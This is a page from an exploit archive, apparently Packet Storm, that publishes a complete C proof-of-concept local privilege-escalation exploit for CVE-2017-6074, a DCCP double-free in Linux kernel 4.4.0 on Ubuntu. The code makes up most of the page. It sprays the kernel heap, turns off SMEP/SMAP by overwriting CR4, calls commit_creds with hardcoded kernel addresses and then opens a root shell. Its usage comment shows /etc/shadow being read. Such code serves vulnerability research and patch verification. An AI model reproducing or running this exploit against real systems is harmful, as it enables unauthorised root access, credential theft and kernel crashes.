accept no compromises

Linux Kernel 4.4.0 Ubuntu DCCP Double-Free Privilege Escalation

Linux Kernel 4.4.0 Ubuntu DCCP Double-Free Privilege Escalation
Posted Feb 27, 2017
Authored by Andrey Konovalov

Linux Kernel version 4.4.0 (Ubuntu) DCCP double-free privilege escalation exploit that includes a semi-reliable SMAP/SMEP bypass.

tags | exploit, kernel
systems | linux, ubuntu
advisories | CVE-2017-6074
MD5 | 4b57202cbe11e092d2eff65de8f63620

Linux Kernel 4.4.0 Ubuntu DCCP Double-Free Privilege Escalation

Change Mirror Download
// A proof-of-concept local root exploit for CVE-2017-6074.
// Includes a semireliable SMAP/SMEP bypass.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Usage:
// $ gcc poc.c -o pwn
// $ ./pwn
// [.] namespace sandbox setup successfully
// [.] disabling SMEP & SMAP
// [.] scheduling 0xffffffff81064550(0x406e0)
// [.] waiting for the timer to execute
// [.] done
// [.] SMEP & SMAP should be off now
// [.] getting root
// [.] executing 0x402043
// [.] done
// [.] should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// [!] don't kill the exploit binary, the kernel will crash
// # cat /etc/shadow
// ...
// daemon:*:17149:0:99999:7:::
// bin:*:17149:0:99999:7:::
// sys:*:17149:0:99999:7:::
// sync:*:17149:0:99999:7:::
// games:*:17149:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sched.h>

#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>

#define SMEP_SMAP_BYPASS 1

// Needed for local root.
#define COMMIT_CREDS 0xffffffff810a2840L
#define PREPARE_KERNEL_CRED 0xffffffff810a2c30L
#define SHINFO_OFFSET 1728

// Needed for SMEP_SMAP_BYPASS.
#define NATIVE_WRITE_CR4 0xffffffff81064550ul
#define CR4_DESIRED_VALUE 0x406e0ul
#define TIMER_OFFSET (728 + 48 + 104)

#define KMALLOC_PAD 128
#define KMALLOC_WARM 32
#define CATCH_FIRST 6
#define CATCH_AGAIN 16
#define CATCH_AGAIN_SMALL 64

// Port is incremented on each use.
static int port = 11000;

void debug(const char *msg) {
/*
char buffer[32];
snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);
system(buffer);
*/
}

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};

struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};

struct ubuf_info ui;

void init_skb_buffer(char* buffer, void *func) {
memset(&buffer[0], 0, 2048);

struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];

ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;

ui.callback = (unsigned long)func;
}

struct timer_list {
void *next;
void *prev;
unsigned long expires;
void (*function)(unsigned long);
unsigned long data;
unsigned int flags;
int slack;
};

void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
memset(&buffer[0], 0, 2048);

struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];

timer->next = 0;
timer->prev = 0;
timer->expires = 4294943360;
timer->function = func;
timer->data = arg;
timer->flags = 1;
timer->slack = -1;
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

struct dccp_handle {
struct sockaddr_in6 sa;
int s1;
int s2;
};

void dccp_init(struct dccp_handle *handle, int port) {
handle->sa.sin6_family = AF_INET6;
handle->sa.sin6_port = htons(port);
inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
handle->sa.sin6_flowinfo = 0;
handle->sa.sin6_scope_id = 0;

handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if (handle->s1 == -1) {
perror("socket(SOCK_DCCP)");
exit(EXIT_FAILURE);
}

int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
if (rv != 0) {
perror("bind()");
exit(EXIT_FAILURE);
}

rv = listen(handle->s1, 0x9);
if (rv != 0) {
perror("listen()");
exit(EXIT_FAILURE);
}

int optval = 8;
rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,
&optval, sizeof(optval));
if (rv != 0) {
perror("setsockopt(IPV6_RECVPKTINFO)");
exit(EXIT_FAILURE);
}

handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if (handle->s1 == -1) {
perror("socket(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
}

void dccp_kmalloc_kfree(struct dccp_handle *handle) {
int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
if (rv != 0) {
perror("connect(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
}

void dccp_kfree_again(struct dccp_handle *handle) {
int rv = shutdown(handle->s1, SHUT_RDWR);
if (rv != 0) {
perror("shutdown(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
}

void dccp_destroy(struct dccp_handle *handle) {
close(handle->s1);
close(handle->s2);
}

// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *

struct udp_fifo_handle {
int fds[2];
};

void udp_fifo_init(struct udp_fifo_handle* handle) {
int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}
}

void udp_fifo_destroy(struct udp_fifo_handle* handle) {
close(handle->fds[0]);
close(handle->fds[1]);
}

void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {
int rv = send(handle->fds[0], buffer, 1536, 0);
if (rv != 1536) {
perror("send()");
exit(EXIT_FAILURE);
}
}

void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {
char buffer[128];
int rv = send(handle->fds[0], &buffer[0], 128, 0);
if (rv != 128) {
perror("send()");
exit(EXIT_FAILURE);
}
}

void udp_fifo_kfree(struct udp_fifo_handle* handle) {
char buffer[2048];
int rv = recv(handle->fds[1], &buffer[0], 1536, 0);
if (rv != 1536) {
perror("recv()");
exit(EXIT_FAILURE);
}
}

int timer_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}

#define CONF_RING_FRAMES 1
void timer_schedule(int handle, int timeout) {
int optval = TPACKET_V3;
int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,
&optval, sizeof(optval));
if (rv != 0) {
perror("setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}
struct tpacket_req3 tp;
memset(&tp, 0, sizeof(tp));
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
tp.tp_block_nr = 1;
tp.tp_frame_size = getpagesize();
tp.tp_frame_nr = CONF_RING_FRAMES;
tp.tp_retire_blk_tov = timeout;
rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,
(void *)&tp, sizeof(tp));
if (rv != 0) {
perror("setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}

void socket_sendmmsg(int sock, char *buffer) {
struct mmsghdr msg[1];

msg[0].msg_hdr.msg_iovlen = 0;

// Buffer to kmalloc.
msg[0].msg_hdr.msg_control = &buffer[0];
msg[0].msg_hdr.msg_controllen = 2048;

// Make sendmmsg exit easy with EINVAL.
msg[0].msg_hdr.msg_name = "root";
msg[0].msg_hdr.msg_namelen = 1;

int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
if (rv == -1 && errno != EINVAL) {
perror("[-] sendmmsg()");
exit(EXIT_FAILURE);
}
}

void sendmmsg_kmalloc_kfree(int port, char *buffer) {
int sock[2];

int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}

socket_sendmmsg(sock[0], buffer);

close(sock[0]);
}

// * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *

void dccp_connect_pad(struct dccp_handle *handle, int port) {
handle->sa.sin6_family = AF_INET6;
handle->sa.sin6_port = htons(port);
inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
handle->sa.sin6_flowinfo = 0;
handle->sa.sin6_scope_id = 0;

handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if (handle->s1 == -1) {
perror("socket(SOCK_DCCP)");
exit(EXIT_FAILURE);
}

int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
if (rv != 0) {
perror("bind()");
exit(EXIT_FAILURE);
}

rv = listen(handle->s1, 0x9);
if (rv != 0) {
perror("listen()");
exit(EXIT_FAILURE);
}

handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if (handle->s1 == -1) {
perror("socket(SOCK_DCCP)");
exit(EXIT_FAILURE);
}

rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
if (rv != 0) {
perror("connect(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
}

void dccp_kmalloc_pad() {
int i;
struct dccp_handle handle;
for (i = 0; i < 4; i++) {
dccp_connect_pad(&handle, port++);
}
}

void timer_kmalloc_pad() {
int i;
for (i = 0; i < 4; i++) {
socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
}
}

void udp_kmalloc_pad() {
int i, j;
char dummy[2048];
struct udp_fifo_handle uh[16];
for (i = 0; i < KMALLOC_PAD / 16; i++) {
udp_fifo_init(&uh[i]);
for (j = 0; j < 16; j++)
udp_fifo_kmalloc(&uh[i], &dummy[0]);
}
}

void kmalloc_pad() {
debug("dccp kmalloc pad");
dccp_kmalloc_pad();
debug("timer kmalloc pad");
timer_kmalloc_pad();
debug("udp kmalloc pad");
udp_kmalloc_pad();
}

void udp_kmalloc_warm() {
int i, j;
char dummy[2048];
struct udp_fifo_handle uh[16];
for (i = 0; i < KMALLOC_WARM / 16; i++) {
udp_fifo_init(&uh[i]);
for (j = 0; j < 16; j++)
udp_fifo_kmalloc(&uh[i], &dummy[0]);
}
for (i = 0; i < KMALLOC_WARM / 16; i++) {
for (j = 0; j < 16; j++)
udp_fifo_kfree(&uh[i]);
}
}

void kmalloc_warm() {
udp_kmalloc_warm();
}

// * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *

// Executes func(arg) from interrupt context multiple times.
void kernel_exec_irq(void *func, unsigned long arg) {
int i;
struct dccp_handle dh;
struct udp_fifo_handle uh1, uh2, uh3, uh4;
char dummy[2048];
char buffer[2048];

printf("[.] scheduling %p(%p)\n", func, (void *)arg);

memset(&dummy[0], 0xc3, 2048);
init_timer_buffer(&buffer[0], func, arg);

udp_fifo_init(&uh1);
udp_fifo_init(&uh2);
udp_fifo_init(&uh3);
udp_fifo_init(&uh4);

debug("kmalloc pad");
kmalloc_pad();

debug("kmalloc warm");
kmalloc_warm();

debug("dccp init");
dccp_init(&dh, port++);

debug("dccp kmalloc kfree");
dccp_kmalloc_kfree(&dh);

debug("catch 1");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh1, &dummy[0]);

debug("dccp kfree again");
dccp_kfree_again(&dh);

debug("catch 2");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh2, &dummy[0]);

int timers[CATCH_FIRST];
debug("catch 1 -> timer");
for (i = 0; i < CATCH_FIRST; i++) {
udp_fifo_kfree(&uh1);
timers[i] = timer_kmalloc();
}

debug("catch 1 small");
for (i = 0; i < CATCH_AGAIN_SMALL; i++)
udp_fifo_kmalloc_small(&uh4);

debug("schedule timers");
for (i = 0; i < CATCH_FIRST; i++)
timer_schedule(timers[i], 500);

debug("catch 2 -> overwrite timers");
for (i = 0; i < CATCH_FIRST; i++) {
udp_fifo_kfree(&uh2);
udp_fifo_kmalloc(&uh3, &buffer[0]);
}

debug("catch 2 small");
for (i = 0; i < CATCH_AGAIN_SMALL; i++)
udp_fifo_kmalloc_small(&uh4);

printf("[.] waiting for the timer to execute\n");

debug("wait");
sleep(1);

printf("[.] done\n");
}

void disable_smep_smap() {
printf("[.] disabling SMEP & SMAP\n");
kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);
printf("[.] SMEP & SMAP should be off now\n");
}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *

// Executes func() from process context.
void kernel_exec(void *func) {
int i;
struct dccp_handle dh;
struct udp_fifo_handle uh1, uh2, uh3;
char dummy[2048];
char buffer[2048];

printf("[.] executing %p\n", func);

memset(&dummy[0], 0, 2048);
init_skb_buffer(&buffer[0], func);

udp_fifo_init(&uh1);
udp_fifo_init(&uh2);
udp_fifo_init(&uh3);

debug("kmalloc pad");
kmalloc_pad();

debug("kmalloc warm");
kmalloc_warm();

debug("dccp init");
dccp_init(&dh, port++);

debug("dccp kmalloc kfree");
dccp_kmalloc_kfree(&dh);

debug("catch 1");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh1, &dummy[0]);

debug("dccp kfree again:");
dccp_kfree_again(&dh);

debug("catch 2");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh2, &dummy[0]);

debug("catch 1 -> overwrite");
for (i = 0; i < CATCH_FIRST; i++) {
udp_fifo_kfree(&uh1);
sendmmsg_kmalloc_kfree(port++, &buffer[0]);
}
debug("catch 2 -> free & trigger");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kfree(&uh2);

debug("catch 1 & 2");
for (i = 0; i < CATCH_AGAIN; i++)
udp_fifo_kmalloc(&uh3, &dummy[0]);

printf("[.] done\n");
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root_payload(void) {
commit_creds(prepare_kernel_cred(0));
}

void get_root() {
printf("[.] getting root\n");
kernel_exec(&get_root_payload);
printf("[.] should be root now\n");
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void exec_shell() {
char *shell = "/bin/bash";
char *args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}

void fork_shell() {
pid_t rv;

rv = fork();
if (rv == -1) {
perror("fork()");
exit(EXIT_FAILURE);
}

if (rv == 0) {
exec_shell();
}
}

bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}

void check_root() {
printf("[.] checking if we got root\n");

if (!is_root()) {
printf("[-] something went wrong =(\n");
printf("[!] don't kill the exploit binary, the kernel will crash\n");
return;
}

printf("[+] got r00t ^_^\n");
printf("[!] don't kill the exploit binary, the kernel will crash\n");

// Fork and exec instead of just doing the exec to avoid freeing
// skbuffs and prevent crashes due to a allocator corruption.
fork_shell();
}

static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);

int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}

void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();

if (unshare(CLONE_NEWUSER) != 0) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (unshare(CLONE_NEWNET) != 0) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (!write_file("/proc/self/setgroups", "deny")) {
perror("write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}

cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("sched_setaffinity()");
exit(EXIT_FAILURE);
}

if (system("/sbin/ifconfig lo up") != 0) {
perror("system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}

printf("[.] namespace sandbox setup successfully\n");
}

int main() {
setup_sandbox();

#if SMEP_SMAP_BYPASS
disable_smep_smap();
#endif

get_root();

check_root();

while (true) {
sleep(100);
}

return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    15 Files
  • 19
    Oct 19th
    10 Files
  • 20
    Oct 20th
    7 Files
  • 21
    Oct 21st
    4 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close